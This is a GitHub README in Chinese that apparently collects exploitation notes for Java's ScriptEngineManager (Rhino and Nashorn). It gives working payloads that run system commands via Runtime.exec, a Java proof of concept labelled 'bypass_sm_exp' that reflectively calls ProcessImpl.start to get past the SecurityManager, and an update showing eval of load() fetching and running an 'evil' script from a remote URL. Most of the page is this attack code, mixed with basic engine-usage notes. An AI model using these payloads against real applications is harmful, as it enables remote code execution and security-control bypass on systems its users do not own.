Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 

Readme.md

Outline

ScriptEngineManager

Java 6/7采用的js解析引擎是Rhino

java8开始换成了Nashorn。

调用Java方法

前面加上全限定类名即可

var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");//输出
var result = sc.hasNext() ? sc.next() : "";
print(result)
sc.close();

导入Java类型

var str = java.lang.String;

 //这种写法仅仅支持Nashorn,Rhino并不支持。jdk8+
var str = Java.type("java.lang.String");//类型
-----------------------------------------数组--------------------------------
// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)

// Nashorn
var str = Java.type("java.lang.String[]");
var IntArray = Java.type("int[]")
var array = new IntArray(8)

导入Java class

通过反射可以获得java类

// Rhino
var str = java.lang.String.class;
var impl = java.lang.ProcessImpl.class;

// Nashorn
var str = Java.type("java.lang.String").class;//类型
var impl = Java.type("java.lang.ProcessImpl").class;

导入Java类

load("nashorn:mozilla_compat.js");

importClass(java.util.HashSet);
var set = new HashSet();

importPackage(java.util);
var list = new ArrayList();

在一些特殊情况下,导入的全局包会影响js中的函数,例如类名冲突。这个时候可以用JavaImporter,并配合with语句,对导入的Java包设定一个使用范围。

// create JavaImporter with specific packages and classes to import

var SwingGui = new JavaImporter(javax.swing,
                            javax.swing.event,
                            javax.swing.border,
                            java.awt.event);
with (SwingGui) {
    // 在with里面才可以调用swing里面的类,防止污染
    var mybutton = new JButton("test");
    var myframe = new JFrame("test");
}

方法调用

方法在JavaScript中实际上是对象的一个属性,所以除了使用 . 来调用方法之外,也可以使用[]来调用方法:

var System = Java.type('java.lang.System');
System.out.println('Hello, World');    // Hello, World
System.out['println']('Hello, World'); // Hello, World

方法重载

Java支持重载(Overload)方法,例如,System.out 的 println 有多个重载版本,如果你想指定特定的重载版本,可以使用[]指定参数类型。例如:

var System = Java.type('java.lang.System');
System.out['println'](3.14);          // 3.14
System.out['println(double)'](3.14);  // 3.14
System.out['println(int)'](3.14);     // 3

反射

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class main {
    public static void main(String[] args) throws Exception {
        String poc1 = "var s = [3];\n" +
                "s[0] = \"cmd\";\n" +
                "s[1] = \"/c\";\n" +
                "s[2] = \"whoami\";" +
                "var p = java.lang.Runtime.getRuntime().exec(s);\n" +
                "var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");\n" +
                "var result = sc.hasNext() ? sc.next() : \"\";\n" +
                "print(result);sc.close();";

        String bypass_sm_exp = "var str = Java.type('java.lang.String[]').class;" +
                "var map = Java.type('java.util.Map').class;" +
                "var string = Java.type('java.lang.String').class;" +
                "var Redirect = Java.type('java.lang.ProcessBuilder.Redirect[]').class;" +
                "var boolean = Java.type('boolean').class;" +
                "var c = java.lang.Class.forName('java.lang.ProcessImpl');" +
                "var start = c.getDeclaredMethod('start',str,map,string,Redirect,boolean);" +
                "start.setAccessible(true);" +
                "var anArray = [\"cmd\", \"/c\", \"ipconfig\"];" +
                "var cmd = Java.to(anArray, Java.type(\"java.lang.String[]\"));" +
                "var input = start.invoke(null,cmd,null,null,null,false).getInputStream();" +
                "var reader = new java.io.BufferedReader(new java.io.InputStreamReader(input));" +
                "var stringBuilder = new java.lang.StringBuilder();" +
                "var line = null;" +
                "while((line = reader.readLine())!=null){" +
                "stringBuilder.append(line);" +
                "stringBuilder.append('\\r\\n');"+
                "}" +
                "stringBuilder.toString();" +
                "print(stringBuilder)";
        ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
        engine.eval(bypass_sm_exp);
    }
}

2021/12/21 更新

远程加载

之前在安全客上介绍了这个利用思路文章,当时没有利用成功,今天晚上jiang师傅给我说了利用思路。大概是一个load()去远程加载执行。

https://anuradha-15.medium.com/loading-scripts-using-nashorn-85585f495cf0

String url = "http://127.0.0.1:8089/evil" ;
eval("load('"+url+"')");

evil

var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command("calc"); x.start();};

扩展,那这样的话是不是可以减少我们的exp拉。在远程的调用我们的恶意代码可以bypass sm,然后通过load来加载。

Morty Proxy This is a proxified and sanitized view of the page, visit original site.